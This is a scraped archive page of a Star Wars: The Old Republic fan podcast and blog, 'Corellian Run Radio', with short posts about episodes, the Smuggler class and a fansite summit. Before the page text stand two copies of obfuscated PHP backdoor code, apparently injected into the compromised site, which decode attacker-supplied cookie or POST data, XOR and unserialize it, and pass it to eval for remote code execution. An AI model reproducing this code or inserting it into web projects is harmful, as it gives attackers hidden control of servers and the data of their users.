$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> Smuggler – Corellian Run Radio
Sep 122011
 

Serge Tries Not to See Red

Serge from SWTOR-Life joins us to discuss the latest updates and to give a “red zone” perspective on game release. The team comes closer than ever to losing Fact or Fiction. Kathy picks her Advanced Class based on outfits. Roxanne doesn’t understand mail. Serge doesn’t understand junk mail.

FACT OR FICTION: Can you pick out the confirmed fact from the tall tales? This week’s challenge concerns rep grinding, The Lost Suns, and PvP commendations.

More Show Notes and Comments after the jump. Continue reading »

Sep 092011
 

by Mark Pajor (follow @mpajor on Twitter)

Corellian Runners, we have quite an update today. In addition to the obligatory PAX Highlights video, Senior Writer Alexander Freed explains the goals and strengths of writing in the Star Wars universe. If Developer Dispatches aren’t your thing, we are now gifted with the Progression video for the Smuggler, whose groin-kicking feats of awesomeness shall be sung for millenia. Let’s start the update there, shall we?

More Friday Update and Comments after the jump. Continue reading »

May 022011
 

The Fansite Summit was the first time I got to play an origin world.  We were given the choice of playing either a Bounty Hunter or an Imperial Agent.  Since Carla picked the Agent, I went with the BH.

In a nutshell, I really enjoyed the game.  Playing Star Wars: The Old Republic feels like playing a major MMO, but with a much more enjoyable and engaging leveling experience.  It’s hard to convey how much  that does change the whole gameplay experience. Continue reading »

Oct 112010
 

This week Kathy’s daughter Roxanne joins the podcast, which is great because nothing spices up a show like talk of Pokemon and pedometers!  Also, six out of six gaming producers agree, cyberspace is alive with the sound of microtransactions.  Ka-CHING! Continue reading »

Oct 012010
 

Could it be?  Game mechanics info!  This week’s Friday Update comes from the Developer Blog and contains a fair amount of information on how the Advanced Class System will work.  ACS will be able to “support several play-styles within each of those eight classes” offered to players.  The blog goes on to examine the Smuggler up close, revealing new play-styles — Scrapper and Sawbones for the Scoundrel; Sharpshooter and Dirty Fighting for the Gunslinger; Luck bridges the gap between both sides.  The article also discusses specific abilities such as “Shoot First,” available to Scoundrel AC.  Read the full article here.

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